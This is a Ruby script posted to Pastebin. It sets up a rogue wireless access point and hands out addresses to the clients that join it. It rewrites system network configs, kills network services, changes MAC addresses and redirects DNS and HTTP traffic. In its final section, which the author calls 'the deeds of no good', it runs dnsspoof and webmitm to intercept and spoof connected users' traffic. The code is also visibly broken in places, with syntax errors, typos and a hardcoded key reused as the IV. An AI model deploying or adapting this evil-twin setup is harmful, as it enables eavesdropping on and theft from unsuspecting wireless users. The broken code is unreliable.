Advertisement
Guest User

Untitled

a guest
Jun 27th, 2017
90
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Ruby 9.65 KB | None | 0 0
  1. #!/usr/bin/ruby
  2. #capn-jack_mr_hai_signature_string
  3. # this is a work in progress, im going to eventuall make a complete handler for wireless router .
  4. # I started trying to make a WAP software in rub but after a while I started realizing that I shouldnt reinvent the wheel
  5. # i should just make a really good car. Im going to incorporate a bit of C and python also, the C to speed it up and the python
  6. #for some packet manipulation in the stream using scapy.
  7. #The configurtation options are all constants, i figured that instead of asking each time (since people generally have a
  8. #consistant setup) you set them in the code, the Class "packet_filter" is the filter (no really?!?!) i generally use nested ifs
  9. # for the hueristics but you can do whatever here
  10.  
  11. #install script
  12. #timed saves to pcap if ACTBAD, selective ports, most useful for tcp reconstruction
  13. require 'socket'
  14. require 'openssl'
  15. #find alternatives to avahi and network manager
  16. #maybe make a WAP connection script?
  17. # iw? ifconfig? both !
  18. #airodump to showcase the area, iwconfig to connect
  19. #dhclient to get an IP
  20.  
  21.  
  22. #ACL from ruby doc
  23. # have it be invoked as a response to snort
  24. #
  25.  
  26. #general config
  27. KEY = "qwertyuiopasdfghjklzxcvbnmqwerty"
  28. IV = "qwertyuiopasdfghjklzxcvbnmqwerty"
  29. $ACTBAD=true
  30. $VERBOSE = true
  31. LOGGING= true
  32. MONITOR="mon0"
  33. EXTIF="eth1"
  34. TUNNEL="at0"
  35. INTIF="wlan1"
  36. TTY="/dev/tty10"
  37. CHAN = "9"
  38. ESSID="Firefly"
  39. `alias wpas='sudo killall -9 wpa_supplicant'`
  40. `sudo killall -9 avahi-daemon `
  41. #DHCP config
  42. RANGE="192.168.1.2 192.168.1.254"
  43. SCOPE="192.168.1.0"
  44. GATEWAY="192.168.1.1"
  45. MASK="255.255.255.0"
  46. BROADCAST="192.168.1.255"
  47. DOMAIN="cerberusrouter.net"
  48. DNS1="208.67.222.222"
  49. DNS2="208.67.220.220"
  50.  
  51.  
  52.  
  53. #Handles encryption
  54. #example
  55. #   #preparing my balls for encryption
  56. #   balls = Encryption.new("balls")
  57. #   #encrypting my balls
  58. #   balls.encrypt_payload
  59. class Encryption
  60.     def initialize (string)
  61.         @string = string
  62.     end
  63.     #encrypts
  64.     def encrypt_payload
  65.         cipher = OpenSSL::Cipher::Cipher.new('aes-256-cbc')
  66.         cipher.encrypt
  67.         cipher.key = WAPinit::KEY
  68.         cipher.iv = WAPinit::IV
  69.         cipher.update(@string) + cipher.final
  70.        
  71.     end
  72.     #decrypts
  73.     def decrypt_payload
  74.         cipher = OpenSSL::Cipher::Cipher.new('aes-256-cbc')
  75.         cipher.decrypt
  76.         cipher.key = WAPinit::KEY
  77.         cipher.iv = WAPinit::IV
  78.         cipher.update(@string) + cipher.final
  79.     end
  80.    
  81. end
  82.  
  83. #this is a socket client to tx/rx streamimg data.
  84. class Socket_IO_cryptzz
  85.   def initialize(data, port, host)
  86.   @io_obj = data
  87.   @port = port
  88.   @host = host
  89.   end
  90.   def client
  91.     socket = TCPSocket.open(host, port)
  92.     while  = socket.gets  
  93.            
  94.    
  95.     end
  96.     socket.close
  97.   end
  98.  
  99.   def server
  100.     server = TCPServer.open(@port)
  101.     loop {                        
  102.       client = server.accept
  103.       data = Encryption.new(@io_obj)
  104.       crypt_data = data.encrypt_payload
  105.       client.puts crypt_data      
  106.       client.close
  107.     }
  108. end
  109.  
  110.  
  111. class Http_server
  112.   def initialize(port, header, max_connect, host,)
  113.     @host = host #(insert php server self here)
  114.   end
  115.  
  116. end
  117.  
  118.  
  119. #instances of this class start the show
  120. class WAPinit
  121. `/etc/init.d/networking restart`
  122. #file contents of the bind and DHCP servers and the interface file
  123. interfaces = <<INTERFACE
  124. #loopback interface
  125.     auto lo iface lo inet loopback
  126.  
  127.     # interface external network (internet), configured through dhcp
  128.     auto #{EXTIF}
  129.     iface #{EXTIF} inet dhcp
  130.  
  131.     #interface network 1
  132.     auto #{INTIF}
  133.     iface #{INTIF} inet static
  134.             address #{GATEWAWY}
  135.             netmask #{MASK}
  136.             network #{SCOPE}
  137.             broadcast #{BROADCAST}
  138.  
  139.  
  140.  
  141. INTERFACE
  142.  
  143. bind = <<BIND
  144. options {
  145.     directory "/var/cache/bind";
  146.    
  147.     forwarders {
  148.         #{GATEWAY};
  149.        
  150.     };
  151.  
  152.     auth-nxdomain no;    # conform to RFC1035
  153.     listen-on-v6 { any; };
  154. };
  155. BIND
  156.  
  157.  
  158. dhcp3 = <<DHCP
  159. ddns-update-style interim;                                  
  160. ignore client-updates;
  161.  
  162. subnet #{SCOPE} netmask #{MASK} {
  163.  
  164.         range #{RANGE};                  
  165.            option subnet-mask              #{MASK};    # Default subnet mask to be used by DHCP clients
  166.            option broadcast-address        #{BROADCAST};    # Default broadcast address to be used by DHCP clients
  167.            option routers                  #{GATEWAY};      # Default gateway to be used by DHCP clients
  168.            option domain-name              "#{DOMAIN}";
  169.            option domain-name-servers      #{DNS1}, #{DNS2};           # Default DNS to be used by DHCP clients
  170. }
  171. #         DHCP requests are not forwarded. Applies when there is more than one ethernet device and forwarding is configured.
  172. #       option ipforwarding off;
  173.  
  174.          default-lease-time 21600;                            # Amount of time in seconds that a client may keep the IP address
  175.         max-lease-time 43200;
  176.  
  177.         option time-offset              -18000;              # Eastern Standard Time
  178. #       option ntp-servers              192.168.1.1;         # Default NTP server to be used by DHCP clients
  179. DHCP
  180. printf "\033[00;31m[SYSTEM]\033[00m   TTY output Being Directed to \033[00;31m#{TTY}\033[00m\n"
  181. printf "\033[00;34m[NETWORK]\033[00m External Interface: \033[00;31m#{EXTIF}\033[00m\n"
  182. printf "\033[00;34m[NETWORK]\033[00m Monitor Interface:  \033[00;31m #{MONITOR}\033[00m\n"
  183. printf "\033[00;34m[NETWORK]\033[00m Internal Interface: \033[00;31m#{INTIF}\033[00m\n"
  184. printf "\033[00;34m[NETWORK]\033[00m Tunnnel Interface:  \033[00;31m #{TUNNEL}\033[00m\n"
  185. printf "\n\033[00;31m[SYSTEM]\033[00m Configuring Interfaces\n"
  186. printf "\033[00;35m===============================================================\033[00m\n"
  187. ifaces = File.open("/etc/network/interfaces", "w")
  188. ifaces.syswrite(interfaces)
  189. `route add -net -n #{SCOPE} netmask #{MASK} dev #{INTIF}`
  190. `route add -net -n 0.0.0.0 dev #{EXTIF}`
  191. printf `route`
  192.  
  193. printf "\033[00;35m===============================================================\033[00m\n"
  194. printf "\033[00;31m[SYSTEM]\033[00m Interfaces Configured\n"
  195.  
  196. if `ifconfig`.match(/mon[0-9]/) = true
  197.      printf "monitor mode previously enabled skipping"
  198.    elsif `ifconfig`.match(/at[0-9]/) = true
  199.      printf "WAP already active, skipping"
  200.    elsif `ifconfig`.match(/wlan[0-9]/) = true
  201. #     `sudo killall -9 NetworkManager`
  202.      `sudo killall -9 avahi-daemon`
  203.      `killall -9 wpa_supplicant`
  204.      `airmon-ng start #{INTIF} #{CHAN}`
  205.      `gnome-terminal -e airodump-ng #{MONITOR}`
  206.      `changemac #{EXTIF}`
  207.      `changemac #{INTIF}`
  208.      printf "\033[00;31m[SYSTEM]\033[00m Monitor Mode Enabled on #{INTIF}  \n"
  209.      printf "\033[00;31m[SYSTEM]\033[00mActivating Wireless Access Point \n"
  210.      `killall -9 wpa_supplicant`
  211.      pid = fork do
  212.        `airbase-ng -e #{ESSID} -v -v -c #{CHAN} -I 5000 #{MONITOR} 2>&1`
  213.      end
  214.     Process.detach(pid)
  215.    else printf "Something happened with the interfaces, please configure your system and plug in any devices"
  216.   end
  217. sleep 4
  218. `ifconfig #{TUNNEL} up`
  219. #begin the router-fu!
  220. `modprobe ip_tables`
  221. `modprobe iptable_filter`
  222. `modprobe ip_conntrack`
  223. `modprobe ip_conntrack_ftp`
  224. `modprobe ip_conntrack_irc`
  225. `modprobe iptable_nat`
  226. `modprobe ip_nat_ftp`
  227. `modprobe ip_nat_irc`
  228.  
  229. printf "\033[00;31m[SYSTEM]\033[00m Done loading modules\n"
  230. printf "\033[00;31m[SYSTEM]\033[00m Enabling DynamicAddr\n"
  231. `echo "1" > /proc/sys/net/ipv4/ip_dynaddr`
  232.  
  233. printf "\033[00;31m[SYSTEM]\033[00m Resetting IPTables Rules\n"
  234. `iptables --table nat --flush`
  235. `iptables --delete-chain`
  236. `iptables --flush`
  237. `iptables -P INPUT ACCEPT`
  238. `iptables -F INPUT `
  239. `iptables -P OUTPUT ACCEPT`
  240. `iptables -F OUTPUT `
  241. `iptables -P FORWARD DROP`
  242. `iptables -F FORWARD `
  243. `iptables -t nat -F`
  244.  
  245. printf "\n\033[00;31m[SYSTEM]\033[00m Configuring Routing Tables\n"
  246. printf "\033[00;35m===============================================================\033[00m\n"
  247.  
  248. `iptables -A FORWARD -i #{TUNNEL} -o #{EXTIF} -j ACCEPT`
  249. `iptables -A FORWARD -i #{TUNNEL} -o #{EXTIF} -m state --state ESTABLISHED,RELATED -j ACCEPT`
  250. `iptables -A INPUT -i #{TUNNEL} -m state --state ESTABLISHED,RELATED -j ACCEPT`
  251. `iptables -A INPUT -i lo -s 0/0 -d 0/0 -j ACCEPT`
  252. `iptables -A POSTROUTING -t nat -o #{EXTIF} -j MASQUERADE`
  253. `iptables -t nat -A PREROUTING -p udp --dport 53 -j DNAT --to #{GATEWAY}` #dns
  254. `iptables -t nat -A PREROUTING -i #{TUNNEL} -p tcp --dport 80 --j REDIRECT --to-ports 80`
  255.  
  256. `echo "1" > /proc/sys/net/ipv4/ip_forward`
  257. printf "\033[00;35m===============================================================\033[00m\n"
  258. printf "\033[00;31m[SYSTEM]\033[00m IPTables Configured\n"
  259. printf "\n\033[00;31m[SYSTEM]\033[00m Configuring DHCP\n"
  260. printf "\033[00;35m===============================================================\033[00m\n"
  261. `ifconfig at0 up`
  262. `ifconfig at0 #{GATEWAY} netmask #{MASK}`
  263. `ifconfig at0 mtu 1500`
  264. dhcpconf = File.open("/etc/dhcp3/dhcpd.conf", "w")
  265. dhcpconf.syswrite(dhcp3)
  266. `dhcpd3 #{TUNNEL}`
  267. printf "\033[00;35m===============================================================\033[00m\n"
  268. printf "\033[00;31m[SYSTEM]\033[00m DHCP Server Configured\n"
  269. printf "\n\033[00;31m[SYSTEM]\033[00m Configuring DNS\n"
  270. printf "\033[00;35m===============================================================\033[00m\n"
  271. dnsf = File.open("/etc/bind/named.conf.options", "w")
  272. dnsf.syswrite(bind)
  273. printf `/etc/init.d/bind9 restart`
  274. printf "\033[00;31m[SYSTEM]\033[00m DNS Caching Configured\n"
  275. printf "\033[00;35m===============================================================\033[00m\n"
  276. `notify-send "#{ESSID} - Wireless Access Point initialized"`
  277. end
  278.  
  279. #Starting the server
  280. WAPinit.new
  281.  
  282. # so far we have accomplished the task of initiating a WAP, starting DHCP, configuring the routing tables for
  283. #tranparency and configuring the interfaces.
  284.  
  285. #now we begin the deeds of no good
  286.  
  287. `dnsspoof -i #{TUNNEL}`
  288. sleep 1
  289. `webmitm -d -d -d`
  290. sleep 1
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement